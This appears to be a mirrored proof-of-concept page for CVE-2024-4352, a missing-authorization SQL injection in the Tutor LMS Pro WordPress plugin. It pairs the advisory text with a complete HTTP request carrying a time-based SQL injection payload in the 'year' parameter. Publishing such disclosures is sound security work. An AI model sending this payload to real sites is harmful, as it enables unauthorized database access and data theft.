目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2024-4352 PoC — WordPress Plugin Tutor LMS Pro 安全漏洞

来源
关联漏洞
标题: WordPress Plugin Tutor LMS Pro 安全漏洞 (CVE-2024-4352)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress Plugin Tutor LMS Pro 2.7.0及之前版本存在安全漏洞,该漏洞源于缺少功能检查,容易受到未经授权的数据访问和数据修改,从而导致数据丢失。
Description
CVE-2024-4352 Tutor LMS Pro <= 2.7.0 - Missing Authorization to SQL Injection
介绍
# CVE-2024-4352-Poc
CVE-2024-4352 Tutor LMS Pro &lt;= 2.7.0 - Missing Authorization to SQL Injection

https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/tutor-pro/tutor-lms-pro-270-missing-authorization-to-sql-injection

Description

The Tutor LMS Pro plugin for WordPress is vulnerable to unauthorized access of data, modification of data, loss of data due to a missing capability check on the 'get_calendar_materials' function. The plugin is also vulnerable to SQL Injection via the ‘year’ parameter of that function due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level permissions and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Vulnerable addon calendar

File: addons\calendar\classes\Tutor_Calendar.php
![image](https://github.com/truonghuuphuc/CVE-2024-4352-Poc/assets/20487674/1367d596-a948-4dd7-b933-9eef7f49d82c)
![image](https://github.com/truonghuuphuc/CVE-2024-4352-Poc/assets/20487674/81d58487-f649-4fb4-81d8-e3abf85cc9e7)
![image](https://github.com/truonghuuphuc/CVE-2024-4352-Poc/assets/20487674/9ce9c82f-f6c7-4e62-ba67-2ed87e0ed4c0)


Steps to Reproduce:

1. Register an account and enroll in the course
2. Send request with payload
```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <host>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Connection: close
Cookie: {{Cookie}}
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

action=get_calendar_materials&year=0+or+sleep(if(1=1,5,0))&month=1&_tutor_nonce={{_tutor_nonce}}
```

![image](https://github.com/truonghuuphuc/CVE-2024-4352-Poc/assets/20487674/1d019677-1236-4a69-8d96-9fa1b353786f)
![image](https://github.com/truonghuuphuc/CVE-2024-4352-Poc/assets/20487674/9372d19f-0a42-4baa-ae28-71baba17adca)


Poc

https://github.com/truonghuuphuc/CVE-2024-4352-Poc/assets/20487674/cf686a9f-2f51-4402-88f5-73f29fcdf3d7

文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →